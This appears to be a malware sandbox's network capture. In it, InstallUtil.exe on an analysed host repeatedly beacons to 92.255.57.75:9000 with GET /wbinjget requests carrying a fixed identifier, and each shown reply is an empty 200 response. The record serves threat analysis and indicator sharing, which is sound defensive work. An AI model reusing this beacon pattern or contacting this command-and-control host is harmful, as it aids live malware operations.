Dec 17, 2024 08:39:19.770309925 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:39:21.096484900 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:39:20 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49884	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:39:21.335072994 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:39:22.657030106 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:39:21 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49888	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:39:22.880017996 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:39:24.205605984 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:39:23 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49894	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:39:24.442130089 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:39:25.764564991 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:39:25 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49900	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:39:25.990634918 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:39:27.381829023 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:39:26 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49901	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:39:27.714857101 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:39:29.039704084 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:39:28 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49907	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:39:29.271895885 CET	110	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000 Connection: Keep-Alive
Dec 17, 2024 08:39:30.598304033 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:39:29 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49913	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:39:30.833694935 CET	110	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000 Connection: Keep-Alive
Dec 17, 2024 08:39:32.215883017 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:39:31 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49916	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:39:32.442060947 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:39:33.767292023 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:39:33 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49920	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:39:33.989763021 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:39:35.318753958 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:39:34 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49926	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:39:35.551378965 CET	110	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000 Connection: Keep-Alive
Dec 17, 2024 08:39:36.879987001 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:39:35 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49932	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:39:37.114913940 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:39:38.449553013 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:39:37 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49933	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:39:38.676634073 CET	110	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000 Connection: Keep-Alive
Dec 17, 2024 08:39:40.002671003 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:39:39 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49939	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:39:40.239428997 CET	110	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000 Connection: Keep-Alive
Dec 17, 2024 08:39:41.567383051 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:39:40 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49945	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:39:41.801970959 CET	110	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000 Connection: Keep-Alive
Dec 17, 2024 08:39:43.126842022 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:39:42 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49948	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:39:43.375808001 CET	110	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000 Connection: Keep-Alive
Dec 17, 2024 08:39:44.700773954 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:39:44 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49952	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:39:44.926588058 CET	110	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000 Connection: Keep-Alive
Dec 17, 2024 08:39:46.249155998 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:39:45 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	49958	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:39:46.488020897 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:39:47.815381050 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:39:47 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49963	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:39:48.052390099 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:39:49.376760006 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:39:48 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	49965	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:39:49.600884914 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:39:51.010287046 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:39:50 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	49969	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:39:51.241837978 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:39:52.568510056 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:39:51 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	49976	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:39:52.803616047 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:39:54.129988909 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:39:53 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	49980	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:39:54.364150047 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:39:55.691658020 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:39:54 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	49984	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:39:55.927535057 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:39:57.253032923 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:39:56 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	49989	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:39:57.493380070 CET	110	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000 Connection: Keep-Alive
Dec 17, 2024 08:39:58.815121889 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:39:58 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	49994	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:39:59.051923990 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:40:00.376753092 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:39:59 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	49999	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:40:00.709382057 CET	110	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000 Connection: Keep-Alive
Dec 17, 2024 08:40:02.032264948 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:40:01 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	50003	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:40:02.255481005 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:40:03.581335068 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:40:02 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	50009	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:40:03.820192099 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:40:05.142987967 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:40:04 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	50012	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:40:05.382118940 CET	110	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000 Connection: Keep-Alive
Dec 17, 2024 08:40:06.710155964 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:40:05 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	50018	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:40:06.943520069 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:40:08.271985054 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:40:07 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	50023	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:40:08.614479065 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:40:09.940407991 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:40:08 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	50028	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:40:10.180255890 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
